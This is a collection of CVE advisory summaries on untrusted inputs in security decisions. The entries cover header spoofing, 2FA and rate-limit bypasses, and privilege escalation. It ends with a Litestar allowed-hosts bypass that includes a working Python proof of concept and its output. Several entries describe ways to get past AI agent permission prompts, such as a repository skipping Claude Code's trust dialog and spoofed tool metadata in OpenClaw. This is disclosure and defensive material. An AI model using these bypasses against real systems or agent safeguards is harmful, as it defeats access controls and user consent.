CWE-807

Reliance on untrusted inputs in a security decision in Microsoft Office allows an unauthorized attacker to bypass a security feature locally.

A business logic vulnerability in the Up2Date component of Sophos Firewall older than version 21.0 MR1 (20.0.1) can lead to attackers controlling the firewall’s DNS environment to achieve remote code execution.

Pterodactyl is an open-source game server management panel built with PHP 7, React, and Go. A malicious user can modify the contents of a `confirmation_token` input during the two-factor authentication process to reference a cache value not associated with the login attempt. In rare cases this can allow a malicious actor to authenticate as a random user in the Panel. The malicious user must target an account with two-factor authentication enabled, and then must provide a correct two-factor authentication token before being authenticated as that user. Due to a validation flaw in the logic handling user authentication during the two-factor authentication process a malicious user can trick the system into loading credentials for an arbitrary user by modifying the token sent to the server. This authentication flaw is present in the `LoginCheckpointController@__invoke` method which handles two-factor authentication for a user. This controller looks for a request input parameter called `confirmation_token` which is expected to be a 64 character random alpha-numeric string that references a value within the Panel's cache containing a `user_id` value. This value is then used to fetch the user that attempted to login, and lookup their two-factor authentication token. Due to the design of this system, any element in the cache that contains only digits could be referenced by a malicious user, and whatever value is stored at that position would be used as the `user_id`. There are a few different areas of the Panel that store values into the cache that are integers, and a user who determines what those cache keys are could pass one of those keys which would cause this code pathway to reference an arbitrary user. At its heart this is a high-risk login bypass vulnerability. However, there are a few additional conditions that must be met in order for this to be successfully executed, notably: 1.) The account referenced by the malicious cache key must have two-factor authentication enabled. An account without two-factor authentication would cause an exception to be triggered by the authentication logic, thusly exiting this authentication flow. 2.) Even if the malicious user is able to reference a valid cache key that references a valid user account with two-factor authentication, they must provide a valid two-factor authentication token. However, due to the design of this endpoint once a valid user account is found with two-factor authentication enabled there is no rate-limiting present, thusly allowing an attacker to brute force combinations until successful. This leads to a third condition that must be met: 3.) For the duration of this attack sequence the cache key being referenced must continue to exist with a valid `user_id` value. Depending on the specific key being used for this attack, this value may disappear quickly, or be changed by other random user interactions on the Panel, outside the control of the attacker. In order to mitigate this vulnerability the underlying authentication logic was changed to use an encrypted session store that the user is therefore unable to control the value of. This completely removed the use of a user-controlled value being used. In addition, the code was audited to ensure this type of vulnerability is not present elsewhere.

nbla/logger.cpp in libnnabla.a in Sony Neural Network Libraries (aka nnabla) through v1.0.14 relies on the HOME environment variable, which might be untrusted.

Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.

Conjur provides secrets management and application identity for infrastructure. Conjur OSS versions 1.19.5 through 1.22.0 and Secrets Manager, Self-Hosted (formerly known as Conjur Enterprise) 13.1 through 13.5 and 13.6 are vulnerable to bypass of the IAM authenticator. An attacker who can manipulate the headers signed by AWS can take advantage of a malformed regular expression to redirect the authentication validation request that Secrets Manager, Self-Hosted sends to AWS to a malicious server controlled by the attacker. This redirection could result in a bypass of the Secrets Manager, Self-Hosted IAM Authenticator, granting the attacker the permissions granted to the client whose request was manipulated. This issue affects both Secrets Manager, Self-Hosted (formerly Conjur Enterprise) and Conjur OSS. Conjur OSS version 1.22.1 and Secrets Manager, Self-Hosted versions 13.5.1 and 13.6.1 fix the issue.

An issue was discovered in Mattermost Server before 3.8.2, 3.7.5, and 3.6.7. After a restart of a server, an attacker might suddenly gain API Endpoint access.

A Reliance on Untrusted Inputs in a Security Decision vulnerability in Rancher allows users in the cluster to act as others users in the cluster by forging the "Impersonate-User" or "Impersonate-Group" headers. This issue affects: Rancher versions prior to 2.5.9. Rancher versions prior to 2.4.16.

tpm2 is the source repository for the Trusted Platform Module (TPM2.0) tools. This vulnerability allows attackers to manipulate tpm2_checkquote outputs by altering the TPML_PCR_SELECTION in the PCR input file. As a result, digest values are incorrectly mapped to PCR slots and banks, providing a misleading picture of the TPM state. This issue has been patched in version 5.7.

Reliance on untrusted inputs in a security decision in Windows Kerberos allows an authorized attacker to elevate privileges over a network.

A Reliance on Untrusted Inputs in a Security Decision vulnerability in the login proxy of the openSUSE Build service allowed attackers to present users with a expected login form that then sends the clear text credentials to an attacker specified server. This issue affects: openSUSE Build service login-proxy-scripts versions prior to dc000cdfe9b9b715fb92195b1a57559362f689ef.

Nextcloud Server before 9.0.55 and 10.0.2 suffers from a bypass in the quota limitation. Due to not properly sanitizing values provided by the `OC-Total-Length` HTTP header an authenticated adversary may be able to exceed their configured user quota. Thus using more space than allowed by the administrator.

A vulnerability in the input protection mechanisms of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to view data without proper authorization. This vulnerability exists because of a protection mechanism that relies on the existence or values of a specific input. An attacker could exploit this vulnerability by modifying this input to bypass the protection mechanism and sending a crafted request to an affected device. A successful exploit could allow the attacker to view data beyond the scope of their authorization.

Ratpack is a toolkit for creating web applications. In versions prior to 1.9.0, a user supplied `X-Forwarded-Host` header can be used to perform cache poisoning of a cache fronting a Ratpack server if the cache key does not include the `X-Forwarded-Host` header as a cache key. Users are only vulnerable if they do not configure a custom `PublicAddress` instance. For versions prior to 1.9.0, by default, Ratpack utilizes an inferring version of `PublicAddress` which is vulnerable. This can be used to perform redirect cache poisoning where an attacker can force a cached redirect to redirect to their site instead of the intended redirect location. The vulnerability was patched in Ratpack 1.9.0. As a workaround, ensure that `ServerConfigBuilder::publicAddress` correctly configures the server in production.

oobabooga text-generation-webui trust_remote_code Reliance on Untrusted Inputs Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of oobabooga text-generation-webui. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the trust_remote_code parameter provided to the join endpoint. The issue results from the lack of proper validation of a user-supplied argument before using it to load a model. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26681.

oobabooga text-generation-webui trust_remote_code Reliance on Untrusted Inputs Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of oobabooga text-generation-webui. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the trust_remote_code parameter provided to the load endpoint. The issue results from the lack of proper validation of a user-supplied argument before using it to load a model. An attacker can leverage this vulnerability to execute code in the context of the service account. . Was ZDI-CAN-26680.

This vulnerability exists in Aero due to improper implementation of OTP validation mechanism in certain API endpoints. An authenticated remote attacker could exploit this vulnerability by intercepting and manipulating the responses exchanged during the second factor authentication process. Successful exploitation of this vulnerability could allow the attacker to bypass OTP verification for accessing other user accounts.

A reliance on untrusted inputs in a security decision could be exploited by a privileged user to configure the Gallagher Command Centre Diagnostics Service to use less secure communication protocols. This issue affects: Gallagher Diagnostics Service prior to v1.3.0 (distributed in 9.00.1507(MR1)).

Seerr is an open-source media request and discovery manager for Jellyfin, Plex, and Emby. Starting in version 2.0.0 and prior to version 3.1.0, an authentication guard logic flaw in `POST /api/v1/auth/jellyfin` allows an unauthenticated attacker to register a new Seerr account on any Plex-configured instance by authenticating with an attacker-controlled Jellyfin server. The attacker receives an authenticated session and can immediately use the application with default permissions, including the ability to submit media requests to Radarr/Sonarr. Any Seerr deployment where all three of the following are true may be vulnerable: `settings.main.mediaServerType` is set to `PLEX` (the most common deployment).; `settings.jellyfin.ip` is set to `""` (default, meaning Jellyfin was never configured); and `settings.main.newPlexLogin` is set to `true` (default). Jellyfin-configured and Emby-configured deployments are not affected. Version 3.1.0 of Seerr fixes this issue.

Versions of the package sinatra from 0.0.0 are vulnerable to Reliance on Untrusted Inputs in a Security Decision via the X-Forwarded-Host (XFH) header. When making a request to a method with redirect applied, it is possible to trigger an Open Redirect Attack by inserting an arbitrary address into this header. If used for caching purposes, such as with servers like Nginx, or as a reverse proxy, without handling the X-Forwarded-Host header, attackers can potentially exploit Cache Poisoning or Routing-based SSRF.

OpenClaw versions prior to 2026.2.14 contain a command hijacking vulnerability that allows attackers to execute unintended binaries by manipulating PATH environment variables through node-host execution or project-local bootstrapping. Attackers with authenticated access to node-host execution surfaces or those running OpenClaw in attacker-controlled directories can place malicious executables in PATH to override allowlisted safe-bin commands and achieve arbitrary command execution.

Reliance on Untrusted Inputs in a Security Decision vulnerability in mtrudel bandit allows unauthenticated transport-state spoofing on plaintext HTTP connections. 'Elixir.Bandit.Pipeline':determine_scheme/2 in lib/bandit/pipeline.ex returns the client-supplied URI scheme verbatim, ignoring the transport's secure? flag. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and the HTTP/2 :scheme pseudo-header are both attacker-controlled strings that flow through this function. Over a plaintext TCP connection, a client can declare https and Bandit will set conn.scheme = :https even though no TLS was negotiated. Downstream Plug consumers that branch on conn.scheme are silently misled: Plug.SSL's already-secure branch skips its HTTP→HTTPS redirect, cookies emitted with secure: true are sent over plaintext, audit logs record requests as having arrived over HTTPS, and CSRF/SameSite gating may make incorrect decisions. This issue affects bandit: from 1.0.0 before 1.11.0.

An attacker could use data obtained by sniffing the network traffic to forge packets in order to make arbitrary requests to Contemporary Controls BASC 20T.

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. In version 2.17.0, rate limits can be completely bypassed by manipulating the X-Forwarded-For header. This renders IP-based rate limiting ineffective against determined attackers. Litestar's RateLimitMiddleware uses `cache_key_from_request()` to generate cache keys for rate limiting. When an X-Forwarded-For header is present, the middleware trusts it unconditionally and uses its value as part of the client identifier. Since clients can set arbitrary X-Forwarded-For values, each different spoofed IP creates a separate rate limit bucket. An attacker can rotate through different header values to avoid hitting any single bucket's limit. This affects any Litestar application using RateLimitMiddleware with default settings, which likely includes most applications that implement rate limiting. Version 2.18.0 contains a patch for the vulnerability.

The cloud service used by ECOVACS robot lawnmowers and vacuums allows authenticated attackers to bypass the PIN entry required to access the live video feed.

Insufficient validation of untrusted input in Safe Browsing in Google Chrome prior to 127.0.6533.72 allowed a remote attacker who convinced a user to engage in specific UI gestures to bypass discretionary access control via a malicious file. (Chromium security severity: Low)

1Panel is an open-source, web-based control panel for Linux server management. Versions 2.0.13 and below allow an unauthenticated attacker to disable CAPTCHA verification by abusing a client-controlled parameter. Because the server previously trusted this value without proper validation, CAPTCHA protections can be bypassed, enabling automated login attempts and significantly increasing the risk of account takeover (ATO). This issue is fixed in version 2.0.14.

Anubis is a tool that allows administrators to protect bots against AI scrapers through bot-checking heuristics and a proof-of-work challenge to discourage scraping from multiple IP addresses. Anubis allows attackers to bypass the bot protection by requesting a challenge, formulates any nonce (such as 42069), and then passes the challenge with difficulty zero. Commit e09d0226a628f04b1d80fd83bee777894a45cd02 fixes this behavior by not using a client-specified difficulty value.

The command-line "safety" package for Python has a potential security issue. There are two Python characteristics that allow malicious code to “poison-pill” command-line Safety package detection routines by disguising, or obfuscating, other malicious or non-secure packages. This vulnerability is considered to be of low severity because the attack makes use of an existing Python condition, not the Safety tool itself. This can happen if: You are running Safety in a Python environment that you don’t trust. You are running Safety from the same Python environment where you have your dependencies installed. Dependency packages are being installed arbitrarily or without proper verification. Users can mitigate this issue by doing any of the following: Perform a static analysis by installing Docker and running the Safety Docker image: $ docker run --rm -it pyupio/safety check -r requirements.txt Run Safety against a static dependencies list, such as the requirements.txt file, in a separate, clean Python environment. Run Safety from a Continuous Integration pipeline. Use PyUp.io, which runs Safety in a controlled environment and checks Python for dependencies without any need to install them. Use PyUp's Online Requirements Checker.

Cube is a semantic layer for building data applications. From 0.27.19 to before 1.5.13, 1.4.2, and 1.0.14, it is possible to make a specially crafted request with a valid API token that leads to privilege escalation. This vulnerability is fixed in 1.5.13, 1.4.2, and 1.0.14.

OpenClaw before 2026.3.12 contains a weak authorization vulnerability in Zalouser allowlist mode that matches mutable group display names instead of stable group identifiers. Attackers can create groups with identical names to allowlisted groups to bypass channel authorization and route messages from unintended groups to the agent.

Claude Code is an agentic coding tool. Versions prior to 2.1.53 resolved the permission mode from settings files, including the repo-controlled .claude/settings.json, before determining whether to display the workspace trust confirmation dialog. A malicious repository could set permissions.defaultMode to bypassPermissions in its committed .claude/settings.json, causing the trust dialog to be silently skipped on first open. This allowed a user to be placed into a permissive mode without seeing the trust confirmation prompt, making it easier for an attacker-controlled repository to gain tool execution without explicit user consent. This issue has been patched in version 2.1.53.

OpenClaw versions prior to 2026.2.25 contain an authentication bypass vulnerability in the trusted-proxy Control UI pairing mechanism that accepts client.id=control-ui without proper device identity verification. An authenticated node role websocket client can exploit this by using the control-ui client identifier to skip pairing requirements and gain unauthorized access to node event execution flows.

IBM Security ReaQta 3.12 could allow an authenticated user to perform unauthorized actions due to reliance on untrusted inputs.

In 2N Access Commander versions 3.1.1.2 and prior, an Insufficient Verification of Data Authenticity vulnerability could allow an attacker to escalate their privileges and gain root access to the system.

A vulnerability in Remote Spark SparkView before build 1122 allows an attacker to bypasses the local connection check and achieve arbitrary code execution as root on the server side. Depending on implementation the vulnerability can be exploited by an unauthenticated attacker.

Vikunja is an open-source self-hosted task management platform. Starting in version 0.8 and prior to version 2.2.0, unauthenticated users are able to bypass the application's built-in rate-limits by spoofing the `X-Forwarded-For` or `X-Real-IP` headers due to the rate-limit relying on the value of `(echo.Context).RealIP`. Unauthenticated users can abuse endpoints available to them for different potential impacts. The immediate concern would be brute-forcing usernames or specific accounts' passwords. This bypass allows unlimited requests against unauthenticated endpoints. Version 2.2.0 patches the issue.

Reliance on untrusted inputs in a security decision in Windows Boot Loader allows an authorized attacker to bypass a security feature locally.

MyTube is a self-hosted downloader and player for several video websites. Prior to version 1.7.71, a rate limiting bypass via `X-Forwarded-For` header spoofing allows unauthenticated attackers to bypass IP-based rate limiting on general API endpoints. Attackers can spoof client IPs by manipulating the `X-Forwarded-For` header, enabling unlimited requests to protected endpoints, including general API endpoints (enabling DoS) and other rate-limited functionality. Version 1.7.71 contains a patch for the issue.

TrueFiling is a collaborative, web-based electronic filing system where attorneys, paralegals, court reporters and self-represented filers collect public legal documentation into cases. TrueFiling is an entirely cloud-hosted application. Prior to version 3.1.112.19, TrueFiling trusted some client-controlled identifiers passed in URL requests to retrieve information. Platform users must self-register for an account, and once authenticated, could manipulate those identifiers to gain partial access to case information and the ability to partially change user access to case information. This vulnerability was addressed in version 3.1.112.19 and all instances were updated by 2024-11-08.

Reliance on untrusted inputs in a security decision in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

BT: Encryption procedure host vulnerability

Fiber is an express inspired web framework written in Go. A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to inject arbitrary values and forge malicious requests on behalf of a user. This vulnerability can allow an attacker to inject arbitrary values without any authentication, or perform various malicious actions on behalf of an authenticated user, potentially compromising the security and integrity of the application. The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. This issue has been addressed in version 2.50.0 and users are advised to upgrade. Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Secure, and the Secure and HttpOnly attributes as defense in depth measures. There are no known workarounds for this vulnerability.

e107 is a content management system (CMS). Prior to 2.3.4, a Host Header Injection vulnerability in the password reset page allows attackers to manipulate the Host header to generate password reset links pointing to attacker-controlled domains. This can lead to phishing attacks, account takeover, or other security risks. The severity is high, as the vulnerability affects a critical function related to user authentication. This vulnerability is fixed in 2.3.4.

cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.27.0, a vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can inject headers named REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, LOCAL_PORT that are parsed into the request header multimap via read_headers() in httplib.h (headers.emplace), then the server later appends its own internal metadata using the same header names in Server::process_request without erasing duplicates. Because Request::get_header_value returns the first entry for a header key (id == 0) and the client-supplied headers are parsed before server-inserted headers, downstream code that uses these header names may inadvertently use attacker-controlled values. Affected files/locations: cpp-httplib/httplib.h (read_headers, Server::process_request, Request::get_header_value, get_header_value_u64) and cpp-httplib/docker/main.cc (get_client_ip, nginx_access_logger, nginx_error_logger). Attack surface: attacker-controlled HTTP headers in incoming requests flow into the Request.headers multimap and into logging code that reads forwarded headers, enabling IP spoofing, log poisoning, and authorization bypass via header shadowing. This vulnerability is fixed in 0.27.0.

Improper request input validation in Temporary Elevated Access Management (TEAM) for AWS IAM Identity Center allows a user to modify a valid request and spoof an approval in TEAM. Upgrade TEAM to the latest release v.1.2.2. Follow instructions in updating TEAM documentation for updating process

A vulnerability in the browser-based remote management interface may allow an administrator to access sensitive information on the device via crafted requests, affecting certain production printers and office/small office multifunction printers.

A flaw in the TETRA authentication procecure allows a MITM adversary that can predict the MS challenge RAND2 to set session key DCK to zero.

OpenClaw before 2026.3.31 misclassifies proxied remote requests as loopback connections in the diffs viewer when allowRemoteViewer is disabled, allowing unauthorized access. Attackers can bypass access controls by sending proxied requests that are incorrectly identified as local loopback traffic, circumventing intended remote viewer restrictions.

OpenClaw versions prior to 2026.2.23 contain an authorization bypass vulnerability in the ACP client that auto-approves tool calls based on untrusted toolCall.kind metadata and permissive name heuristics. Attackers can bypass interactive approval prompts for read-class operations by spoofing tool metadata or using non-core read-like names to reach auto-approve paths.

The Easy Digital Downloads plugin for WordPress is vulnerable to Order Manipulation in all versions up to, and including, 3.5.2 due to an order verification bypass. The verification is unconditionally skipped when the POST body includes verification_override=1. Because this value is attacker-supplied, an unauthenticated actor can submit a forged IPN and have it treated as verified, even on production sites and with verification otherwise enabled. A valid PayPal transaction id is needed, restricting order manipulation to orders placed by the attacker. This, in turn, requires them to have a customer account.

Improper Restriction of Excessive Authentication Attempts, Client-Side Enforcement of Server-Side Security, Reliance on Untrusted Inputs in a Security Decision vulnerability in Turkguven Software Technologies Inc. Perfektive allows Brute Force, Authentication Bypass, Functionality Bypass. This issue affects Perfektive: before Version: 12574 Build: 2701.

flaskBlog is a blog app built with Flask. In 2.8.0 and earlier, an arbitrary user can change his role to "admin", giving its relative privileges (e.g. delete users, posts, comments etc.). The problem is in the routes/adminPanelUsers file.

A Reliance on Untrusted Inputs in a Security Decision vulnerability has been identified in the Lexmark Print Management Client.

OpenClaw before 2026.3.25 contains an authorization bypass vulnerability in Google Chat group policy enforcement that relies on mutable space display names. Attackers can rebind group policies by changing or colliding space display names to gain unauthorized access to protected resources.

OpenClaw before 2026.3.22 contains a policy confusion vulnerability in room authorization that matches colliding room names instead of stable room tokens. Attackers can exploit similarly named rooms to bypass allowlist policies and gain unauthorized access to protected Nextcloud Talk rooms.

OpenClaw before 2026.3.22 contains a webhook reply delivery vulnerability that allows attackers to rebind chat replies to unintended users by exploiting mutable username matching instead of stable numeric user identifiers. Attackers can manipulate username changes to redirect webhook-triggered replies to different users, bypassing the intended recipient binding recorded in webhook events.

cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.27.0, a vulnerability allows attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion). This vulnerability is fixed in 0.27.0.

SEPPmail Secure Email Gateway before version 15.0.3 allows an external user to modify GINA webdomain metadata and bypass per-domain restrictions.

OpenClaw before 2026.3.22 contains an identity spoofing vulnerability in ACP permission resolution that trusts conflicting tool identity hints from rawInput and metadata. Attackers can spoof tool identities through rawInput parameters to suppress dangerous-tool prompting and bypass security restrictions.

Mega-Fence (webgate-lib.*) 25.1.914 and prior trusts the first value of the X-Forwarded-For (XFF) header as the client IP without validating a trusted proxy chain. An attacker can supply an arbitrary XFF value in a remote request to spoof the client IP, which is then propagated to security-relevant state (e.g., WG_CLIENT_IP cookie). Deployments that rely on this value for IP allowlists may be bypassed.

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false). This vulnerability is fixed in 1.18.0.

By utilizing software-defined radios and a custom low-latency processing pipeline, RF signals with spoofed location data can be transmitted to aircraft targets. This can lead to the appearance of fake aircraft on displays and potentially trigger undesired Resolution Advisories (RAs).

SpotFTP Password Recover 2.4.2 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an oversized buffer in the Name field during registration. Attackers can generate a 256-byte payload, paste it into the Name input field, and trigger a crash when submitting the registration code.

OpenClaw before 2026.3.28 contains an authorization bypass vulnerability in the chat.send gateway method where ACP-only provenance fields are gated by self-declared client metadata from WebSocket handshake rather than verified authorization state. Authenticated operator clients can spoof ACP identity labels and inject reserved provenance fields intended only for the ACP bridge by manipulating client metadata during connection.

Pixel Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the keyboard interface. Attackers can trigger the vulnerability by entering arbitrary characters, causing the application to become unresponsive or terminate abnormally.

Pidgin 2.13.0 contains a denial of service vulnerability that allows local attackers to crash the application by providing an excessively long username string during account creation. Attackers can input a buffer of 1000 characters in the username field and trigger a crash when joining a chat, causing the application to become unavailable.

OpenClaw versions prior to 2026.2.21 improperly parse the left-most X-Forwarded-For header value when requests originate from configured trusted proxies, allowing attackers to spoof client IP addresses. In proxy chains that append or preserve header values, attackers can inject malicious header content to influence security decisions including authentication rate-limiting and IP-based access controls.

flaskBlog is a blog app built with Flask. In 2.8.0 and earlier, when creating a post, there's no validation of the content of the post stored in the variable "postContent". The vulnerability arises when displaying the content of the post using the | safe filter, that tells the engine to not escape the rendered content. This can lead to a stored XSS inside the content of the post. The code that causes the problem is in template/routes.html.

Least privilege violation and reliance on untrusted inputs in the mk_informix Checkmk agent plugin before Checkmk 2.3.0p12, 2.2.0p32, 2.1.0p47 and 2.0.0 (EOL) allows local users to escalate privileges.

Least privilege violation and reliance on untrusted inputs in the mk_informix Checkmk agent plugin before Checkmk 2.3.0b4 (beta), 2.2.0p24, 2.1.0p41 and 2.0.0 (EOL) allows local users to escalate privileges.

A local privilege escalation (PE) vulnerability in the Palo Alto Networks GlobalProtect app on Windows enables a local user to execute programs with elevated privileges.

The connection confirmation pop-up of a specific feature in the PcSuite can be bypassed.

Hosts listed in TrustedOrigins implicitly allow requests from the corresponding HTTP origins, allowing network MitMs to perform CSRF attacks. After the CVE-2025-24358 fix, a network attacker that places a form at http://example.com can't get it to submit to https://example.com because the Origin header is checked with sameOrigin against a synthetic URL. However, if a host is added to TrustedOrigins, both its HTTP and HTTPS origins will be allowed, because the schema of the synthetic URL is ignored and only the host is checked. For example, if an application is hosted on https://example.com and adds example.net to TrustedOrigins, a network attacker can serve a form at http://example.net to perform the attack. Applications should migrate to net/http.CrossOriginProtection, introduced in Go 1.25. If that is not an option, a backport is available as a module at filippo.io/csrf, and a drop-in replacement for the github.com/gorilla/csrf API is available at filippo.io/csrf/gorilla.

A reliance on untrusted input for a security decision in the GlobalProtect app on Windows devices potentially enables a locally authenticated non-administrative Windows user to escalate their privileges to NT AUTHORITY\SYSTEM. GlobalProtect App on macOS, Linux, iOS, Android, Chrome OS and GlobalProtect UWP App are not affected.

OpenClaw before 2026.5.7 contains a sender policy bypass vulnerability in BlueBubbles that allows participants to match allowlist entries through conversation metadata rather than stable sender identity. Attackers can influence conversation-level identifiers to receive agent responses intended for configured senders, potentially bypassing access controls.

Lucee before 5.4.7.3 LTS and 6 before 6.1.1.118, when an attacker can place files on the server, is vulnerable to a protection mechanism failure that can let an attacker run code that would be expected to be blocked and access resources that would be expected to be protected.

OpenClaw before 2026.3.31 fails to properly sanitize PIP_INDEX_URL and UV_INDEX_URL environment variables in host execution contexts, allowing attackers to redirect Python package-index traffic. Attackers can exploit this bypass to intercept or manipulate package management operations by injecting malicious index URLs through unsanitized environment variables.

ASPRunner.NET 10.1 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the table name field. Attackers can input a buffer of 10000 characters in the table name parameter during database table creation to trigger an application crash.

vscode-spell-checker is a basic spell checker that works well with code and documents. Prior to v4.5.4, DocumentSettings._determineIsTrusted treats the configuration value cSpell.trustedWorkspace as the authoritative trust flag. The value defaults to true (package.json) and is read from workspace configuration each time settings are fetched. The code coerces any truthy value to true and forwards it to ConfigLoader.setIsTrusted , which in turn allows JavaScript/TypeScript configuration files ( .cspell.config.js/.mjs/.ts , etc.) to be located and executed. Because no VS Code workspace-trust state is consulted, an untrusted workspace can keep the flag true and place a malicious .cspell.config.js ; opening the workspace causes the extension host to execute attacker-controlled Node.js code with the user’s privileges. This vulnerability is fixed in v4.5.4.

OpenClaw before 2026.3.28 contains an execution approval vulnerability in exec-approvals-allowlist.ts that allows allow-always persistence to trust wrapper carrier executables instead of invoked targets. Attackers can exploit positional carrier executable routing through dispatch wrappers to establish broader allowlist entries than intended, weakening execution approval boundaries.

OpenClaw before 2026.3.28 contains an exec allowlist bypass vulnerability where allow-always persistence fails to unwrap /usr/bin/script and similar wrappers before storing trust decisions. Attackers can obtain user approval for one wrapped command to persist trust for wrapper binaries that execute different underlying programs.

A Reliance on Untrusted Inputs in a Security Decision vulnerability in the logrotate configuration for openSUSE mailman3 package allows the mailman user to sent SIGHUP to arbitrary processes. This issue affects openSUSE Tumbleweed: from ? before 3.3.10-2.1.

pam_usb provides hardware authentication for Linux using removable media. In versions prior to 0.9.2, getenv() environment variables XRDP_SESSION, DISPLAY and TMUX allow environment variable injection into local-check logic. These environment variables influence whether a current session is local or remote, and a PAM module that runs in the context of setuid binaries (sudo, su), getenv() returns attacker-controlled values whenever the process environment has been manipulated by a local user. This issue has been fixed in version 0.9.2.

### Summary `AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation. ### Details In `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows: https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68 ```python headers = MutableScopeHeaders(scope=scope) if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]: if self.allowed_hosts_regex.fullmatch(host): await self.app(scope, receive, send) return ``` When `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy. An attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host. This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (`Host` header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions ### PoC ```python """ PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0 Affected: litestar/middleware/allowed_hosts.py:68 -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0] """ import asyncio from litestar import Litestar, get from litestar.config.allowed_hosts import AllowedHostsConfig from litestar.testing import TestClient @get("/") async def index() -> dict: return {"status": "ok"} app = Litestar( route_handlers=[index], allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]), ) # --- 1. Baseline: invalid host is blocked --- with TestClient(app=app) as c: resp = c.get("/", headers={"host": "evil.com"}) assert resp.status_code == 400 print(f"[*] Host: evil.com -> {resp.status_code} (blocked)") # --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host --- async def test_bypass(): scope = { "type": "http", "method": "GET", "path": "/", "root_path": "", "scheme": "http", "query_string": b"", "headers": [ # No "host" header — only x-forwarded-host (b"x-forwarded-host", b"trusted.example.com"), ], "server": ("testserver", 80), "app": app, "litestar_app": app, "state": {}, } captured = {} async def receive(): return {"type": "http.request", "body": b""} async def send(message): if message["type"] == "http.response.start": captured["status"] = message["status"] await app(scope, receive, send) return captured["status"] status = asyncio.run(test_bypass()) print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)") assert status == 200, f"Expected 200, got {status}" print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host") ``` **Output:** ``` [*] Host: evil.com -> 400 (blocked) [*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed) [!] AllowedHosts check passed using client-controlled X-Forwarded-Host ``` ### Impact This is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections. An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to: - **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain - **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content - **Routing manipulation**: backend routing decisions based on host value can be influenced